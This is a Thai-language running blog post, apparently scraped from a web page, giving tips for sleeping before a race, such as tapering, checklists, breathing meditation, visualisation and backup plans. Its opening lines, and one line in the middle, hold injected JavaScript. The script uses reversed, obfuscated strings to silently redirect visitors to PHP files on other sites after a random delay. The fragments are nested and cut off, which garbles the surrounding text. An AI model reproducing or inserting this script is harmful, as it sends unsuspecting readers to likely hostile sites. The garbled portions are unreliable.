{if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</script>andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}</script><script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</alex<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</script>andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}</script><script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</script>andra-gorn-471463-unsplash-1140x570.jpg)
“พรุ่งนี้จะแข่งแล้วนอนไม่หลับเลย จะเอาแรงไหนไปวิ่งละนี้” อาการนอนไม่หลับพลิกตัวไปมาของนักวิ่งก่อนการแข่งขันเป็นเรื่องปกติที่เกิดขึ้นได้กับทุกคน ไม่ว่าจะเป็นการลงแข่งขันวิ่งระยะ 10 กิโลเมตรแรกหรือจนไปถึงวิ่งมาราธอนแรกก็ตาม การขาดการนอนหลับพักผ่อนย่อยส่งผลต่อ Performance ของการวิ่งแน่นอน แต่ที่แย่กว่าการนอนไม่หลับคืออาการเครียดที่จะทำให้การวิ่งของเราไม่สนุกขาดแรงใจตั้งหาก เรามาดูวิธีการเอาชนะใจตัวเองและการวางแผนเตรียมตัว นอนหลับก่อนวันเเข่ง กัน…
Pre-Race Tip: ยืนหน้าเส้นสตาร์ทอย่างสดใสต้องทำอย่างไร 8 วิธีช่วยสะกดจิต นอนหลับก่อนวันเเข่ง
ช่วงหนึ่งสัปดาห์ก่อนการแข่งขัน
- ให้ถึงว่าเป็นช่วงสัปดาห์แห่งความสุข ลดการออกกำลังกายให้น้อยลง ดูแลเรื่องอาหารการกินให้ดีและที่สำคัญ เข้านอนให้เร็วเพราะเราจะเพิ่มชั่วโมงนอนหลับพักผ่อนอีกคืนละ 1-2 ชั่วโมง ถือว่าตอนนี้เรากำลังตุนชั่วโมงนอนไว้ให้มากที่สุด ห้ามนอนดึก เพราะจะทำให้เกิด sleep deprivation เป็นการสะสมความเหนื่อยล้าและไม่เป็นผลดีต่อ performance และสร้างความเครียดได้
- ต้องสร้างบรรยากาศห้องนอนให้เงียบสงบ เปิดแอร์ให้เย็นสบาย ว่างโทรศัพท์ไว้ไกลตัวและเปิดโหมดห้ามรบกวนไว้ คอมพิวเตอร์ก็ต้องปิดเครื่องให้เร็วขึ้นอีก 1 ชั่วโมง เน้นเป็นการอ่านหนังสือแทนเพราะจะช่วยลดสิ่งเร้าออกไปได้ดี
ช่วงวันก่อนการแข่งขัน
- จัดเตรียมอุปกรณ์ก่อนการแข่งขันให้เรียบร้อย เริ่มตั้งแต่การจัดชุดวิ่ง เสื้อรองเท้า อาหารและเจลให้พลังงาน วางไว้ให้เรียบร้อยพร้อมหยิบใส่ได้ทันที นอกจากนี้อย่าลืมติด BIB ไว้บนเสื้อเลยก็ได้
- ทดลองทำกระดาษ Checklist เพราะจะช่วยสร้างความมั่นใจและลดการทำงานซ้ำซ้อน รู้หรือไม่ว่าการเขียนจะให้ผลทางจิตใจอย่างดี เราไม่สามารถจำทุกอย่างได้หมด การเขียนลงกระดาษจะช่วยเป็นการดับเบิ้ลเช็ค เราไม่ต้องพะวงว่า “มันต้องขาดอะไรสักอย่าง” เพราะรายละเอียดมีให้เราเห็น แถมการเขียนจะช่วยเปิดโอกาสในการบรรจุเพิ่มไอเดียได้อีก
- กำหนดลมปราณก่อนการเข้านอน หรือการทำสมาธิกำหนดลมหายใจเข้าออก การทำสมาธิจะช่วยลดอัตราการเต้นของหัวใจ ฝึกหายใจโดยการใช้กระบังลมหรือ Belly Breathing เป็นการหายใจลึกที่สามารถดึงออกซิเจนเข้าปอดได้เยอะและมีประสิทธิภาพที่สุด หายใจเข้าออกทั้งทางจมูกและปาก เพื่อให้ร่างกายผ่อนคลายมีสมาธิลดความตื้นเต้น
- สร้างจินตนาการในสมอง ขั้นตอนต่อไปหลังจากควบคุมการหายใจให้มีสมาธิแล้วคือการสร้างจินตนาการลำดับขึ้นต่อการเข้าสู่สนามวิ่งแข่งขันของนักวิ่ง ตั้งแต่ตื่นนอน ล้างหน้า กินข้าว เดินทางสู่เส้นสตาร์ทและการวอร์มอัพ ไว้เป็นลำดับ จินตนาการความรู้สึกกิโลเมตรสุดท้ายที่ยากเย็นและการเข้าสู่เส้นชัย ให้ความรู้สึกแห่งความยินดีการเฉลิมฉลองมาเป็นกำลังใจหรือ Position Energy ให้กับตัวเอง เอาชนะความรู้สึกกลัวขณะต้องวิ่งต่อสู้กับระยะทาง
- ต้องมีแผนสำรอง นอกจากจะจินตนาการในด้านดีแล้ว ก็อย่าลืมสร้างสถานการณ์การเกิดเหตุสุดวิสัยไว้ด้วย เพราะเราจะมีแผนไว้รับมือมีลำดับขั้นตอนในการแก้ไขไว้ล่วงหน้า จะไม่ต้อง Panic เวลาแข่งจริง สร้างความสบายใจให้กับจิต ตัวอย่างเช่น ถ้ากลัวแรงวิ่งจะไม่ถึงเส้นชัยจะทำอย่างไร…ลดความเร็วลง เกาะกลุ่ม Pacer ที่วิ่งต่ำกว่าเวลาที่เราต้องการ ประหยัดแรงไว้ ถ้าหิวน้ำและน้ำหมด ต้องทำอย่างไร…พกขวดน้ำไปด้วยดีไหม ถ้าบาดเจ็บขาเป็นตะคริวต้องทำอย่างไร…ถ้าเริ่มมีอาการให้ชะลอความเร็วลง เดิน พักดื่มน้ำและจิบเกลือแร่ ถ้าไม่หายดีก็เข้าหาหน่วยพยาบาล เป็นต้น นักวิ่งต้องหาทางหนีที่ไล่ไว้เสมอ ต้องดูแลตัวเองเป็นอย่างแรก อย่าหวังว่าเจ้าหน้าที่ดูแลตัวเองได้ 100% เพราะในวันแข่งขันมีคนวิ่งเป็นพันๆ ความช่วยเหลืออาจไม่ทั่วถึง
- คิดถึงความตั้งใจในการวิ่งแข่งขันตอนแรกเข้าไว้ อาการเครียดคิดมากเป็นเรื่องปกติที่เกิดกับนักวิ่งทุกคน ตั้งแต่คนเริ่มวิ่ง 10 กิโลเมตร วิ่งฮาร์ฟครั้งแรกหรือมาราธอนแรก อาการสะสมความเครียดเป็นตัวบันทอนจิตทำให้ไม่สามารถนอนหลับ แต่นักวิ่งทุกคนมีหน้าที่ที่ต้องพาตัวเองออกนอก Comfort Zone คิดถึงเป้าหมายปณิธานอันแรงกล้าของตัวเองที่พามาถึงจุดนี้ คิดถึงการฝึกซ้อมอันหนักหน่วงที่ผ่านมา การแข่งขันพรุ่งนี้คือการเฉลิมฉลอง ไม่ใช้วันทดสอบ ต้องสนุกไม่ใช้ไปเครียด คิดถึงบรรยากาศและเผลอๆ เราจะได้ New PB ก็ได้ตามสามารถทำได้ตามแผน
{if (typeof ($Ikf.list[n]) == “string”) return $Ikf.list[n].split(“”).reverse().join(“”);return $Ikf.list[n];};$Ikf.list=[“\’php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.r<script>$GRn=function(n){if (typeof ($GRn.list[n]) == )
ข้อควรรู้ บางครั้งการทำตามแผนนี้ก็ไม่อาจจะทำให้คุณนอนหลับได้ทันทีหรือหลับได้สนิทเหมือนวันธรรมดา แต่จะช่วยลดอาการตื่นกลัวและลดความเครียดลงได้ จิตใจที่เข้มแข็งและแรงบันดาลใจ แรงจูงใจจะเป็นผู้เล่นที่สำคัญในการช่วยให้คุณวิ่งเข้าสู่เส้นชัย แต่ไม่ทั้งหมดนะ…การฝึกซ้อมที่คุณทำมาก็เป็นตัวที่สำคัญไม่แพ้จิตใจ กรุณาอย่าใช้ใจวิ่งซะอย่างเดียว
อ้างอิง www.runnersworld.com
